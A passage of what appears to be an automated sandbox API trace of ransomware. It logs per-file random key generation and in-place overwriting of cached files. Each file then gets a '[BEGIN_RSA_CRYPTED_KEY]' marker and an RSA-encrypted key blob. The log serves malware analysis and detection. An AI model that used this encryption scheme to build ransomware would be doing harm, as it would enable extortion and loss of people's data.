hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.437] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.437] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.437] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.437] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mHeeEh9Gaq/E6uj0W9kCopw7M62A66acLbTFBgofU4xY4q+njH5tcTIH2fynMufq\nw5boikGjzJAfkchIWAKg4Z5jYZhOdkZcoNLM8iG672yjtb2DqXiDN4lLd1LHPSGh\n/wzsQwkYOG3IQpklTJGpVtIQQlIbJzgt8EA/pZ8bmzLcaf9USMG15vQWXCfdTrz2\nVMqa8BcP8PKcfa/LRCaMKcb+UfEUMHwzS0Y2bBwpoEKqjO6NGnStSLuS5ceYm5ws\nfaPq4lAev6MoO6Nd0vqL6TDJZeNKsn7eVHQhhY2H0bFYU+678eXSBQFJ+QgDQam8\n708dHGw1ROSo2ITCZs1VoA==\n", pcchString=0x2e3f9a8) returned 1 [0246.437] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.437] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.437] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.437] CloseHandle (hObject=0x1afc) returned 1 [0246.439] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2138824-5150-42FB-95C2-6147FA08716C}", dwFileAttributes=0x80) returned 1 [0246.439] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2138824-5150-42FB-95C2-6147FA08716C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a2138824-5150-42fb-95c2-6147fa08716c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.440] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.440] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.441] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.441] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.441] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.441] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.441] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.441] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.442] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.442] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.442] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9Lsxqdelq5pkUGZMgaEhpMv49d7O2ATguvkDATD/xwiLLHU7w/Q3ZTVdeakgn944\nbLaYJLOZ8QMdwxRrw7KUdrWTomWHbApBeZNDlcnMB26cTo+JbPWDpzlfI01Br04r\nZFpP+EpxGysGhVb8FujnWpEZEhIpVHe2Wu/aQ5ERBh9g2Eh+oStk+fpI5L7IkB3b\nwa7gChu83XysLqyejq8XKOE+9IIwHI6wmhMhfhJUoJXD5v5xoq9cRsCPcc5+KFRX\nhowy9+zp3DOknJnDGTug4ooSIQ3ajfSOc8nKA/Q6NqXSXZvkS0sPIieRJk+G5Kj9\nObM/qEYkmWdDRrN+n1mOFA==\n", pcchString=0x2e3f9a8) returned 1 [0246.442] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.442] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.442] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.442] CloseHandle (hObject=0x1afc) returned 1 [0246.463] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.463] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A1640A19-DCA8-4534-B567-A06D68EED0AD}", dwFileAttributes=0x80) returned 1 [0246.463] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A1640A19-DCA8-4534-B567-A06D68EED0AD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a1640a19-dca8-4534-b567-a06d68eed0ad}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.464] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.464] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.465] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.465] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.466] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.466] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.466] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.466] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.466] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.466] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.466] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="S6SZFtGrrJr0ebeX0T4mbGBFLVRoPqCKWW0bSYmGNG2ytdz/BpI55pqOUFaMVjaT\nRo2aetbhZ/QMXw63SE2RqmHSrY9sHr0wO7NPtZ9j4DnDH41Z9pgkklWIusgmGhgq\nob0TcK8xNAcHC89hlpZ9pu1OPa7IFuaOLPXu/78OohqoK6rxoniwBEDGOf/9gBgJ\ngnkOsffxVrth2IyJDV3jCbHSOGuxivY03sByAqTwMZV6BDUDX0jsoeDxuDhGkYwM\nEJBohWhhedRxlZx5aAn51lKQN0giUW/fnkft/gpSj8j77tRDbOkLrjuxqKz0VAc8\nIg3x/X4NNa2P60Bb/7ObGg==\n", pcchString=0x2e3f9a8) returned 1 [0246.466] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.467] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.467] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.467] CloseHandle (hObject=0x1afc) returned 1 [0246.468] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.468] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9BF63628-DDA6-43D6-ADB6-C919606A53F7}", dwFileAttributes=0x80) returned 1 [0246.468] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9BF63628-DDA6-43D6-ADB6-C919606A53F7}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9bf63628-dda6-43d6-adb6-c919606a53f7}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.469] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.469] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.590] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.590] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.590] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.590] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.590] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.591] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.591] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.591] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QhiXRvV84EzBbYZfyaRnSm1a69ahzmeeQmOc/cFCS4yGU1QP9Whp6rD78SS6Zrq1\n2J3P+r9tHHr/8Uu2QDAoe4rgtfLdUlqm5aRmFU8g0dmS43T9xdMXg1u/clRb/Q4G\nl1pqwzpezzGmqtyTa3mIdfmyEsYiK9DgKWIG6LTF8xfFG+oUrtVPKtYKJCpd4NvX\nQCWgZIebMq8Gfk+zCDNieMIKD5WtYiVobWr2mbs6pmGDyAnU2MvU6381pVAyHuJJ\nRYgFGP7oVDdLoeIQ8tfUeR/HCFzJHv0nxPgcvA2lwZbLYlNxrS4oV8JUmzM69HWG\nN4OmYxrd4nzQ8U3oCbgUFQ==\n", pcchString=0x2e3f9a8) returned 1 [0246.591] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.591] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.591] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.591] CloseHandle (hObject=0x1afc) returned 1 [0246.593] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.593] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9B5B2AF9-07C1-4A92-9B55-C36169549C19}", dwFileAttributes=0x80) returned 1 [0246.594] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9B5B2AF9-07C1-4A92-9B55-C36169549C19}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9b5b2af9-07c1-4a92-9b55-c36169549c19}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.594] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.594] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.596] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.596] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.596] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.596] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.596] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.596] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.596] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZLkFTPcsDLz2tOH/Xp8m0slSvtifnSryW+DlDmuS/LsXY0tlGvZS/fspXAT30SZQ\n/R13n7gOSCmklMkqn22YMOGUkWeg3dtb4msE1Co6cy+A7XWKmZ+QMMSZZMFrScDo\nF/obW+vPAQ7o5hh234eRBr7lTu0EzyhOKU+h6ed0nR/94niSk2V/VqMfmvrN7L4B\n8r7U5bfrLyJ+/fcXg1aE8ZM7Cu/nfVWJW5/5Qp4GW1ZbzPkStVlcu6+EeprXhOIU\nPaEbiiM+SlxuVLJ33LWUlyb+zIerljDJhEsD5ZjpTi/JnObrrfmzWhlrA+tIpE/s\n8mtuBBjDrbGtY3Vk0keNqg==\n", pcchString=0x2e3f9a8) returned 1 [0246.597] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.597] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.597] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.597] CloseHandle (hObject=0x1afc) returned 1 [0246.598] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.598] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9A290AB2-7828-46C3-A57F-0DEE793F6B93}", dwFileAttributes=0x80) returned 1 [0246.599] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9A290AB2-7828-46C3-A57F-0DEE793F6B93}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9a290ab2-7828-46c3-a57f-0dee793f6b93}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.599] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.600] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.639] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.639] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.640] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.640] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.640] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.640] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.640] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.640] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.640] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iea5AWKoTiUBgRzjbFRbmZR7k4K1CiOHG5EPgItn6yyrd1Dce4rTHlS9Nf18+dg8\nLw7zR+5vs5Y5Tsn3io1MF2esedAcCQMh0JpihtAvFqkOOU2AD1CJf8VxiEDUvQ6w\ns+8PbKY071bsiFDeUsIfKBdeFOl5iJ+0Wt5m3hhK+gTLkEuMhksLSC8FtvavoUqq\nM++aRazKHGc+CDjQAcQcEJJOyOJBDEwC+k/prbPqZz/18GhP7l0pWjSHIn96sN4U\nL8ev8OhfpSNxBZfzhNTCEGXi2Mqamain46TFBAki318UxSw72kcrbAaBaM3PrYh4\nrzXBr+SINeDSyqusVXpIjw==\n", pcchString=0x2e3f9a8) returned 1 [0246.640] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.641] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.641] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.641] CloseHandle (hObject=0x1afc) returned 1 [0246.642] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.642] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{983FD517-E332-4EC3-912D-37488A0D4CAD}", dwFileAttributes=0x80) returned 1 [0246.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{983FD517-E332-4EC3-912D-37488A0D4CAD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{983fd517-e332-4ec3-912d-37488a0d4cad}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.643] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.643] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.769] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.769] WriteFile (in: hFile=0x1afc, 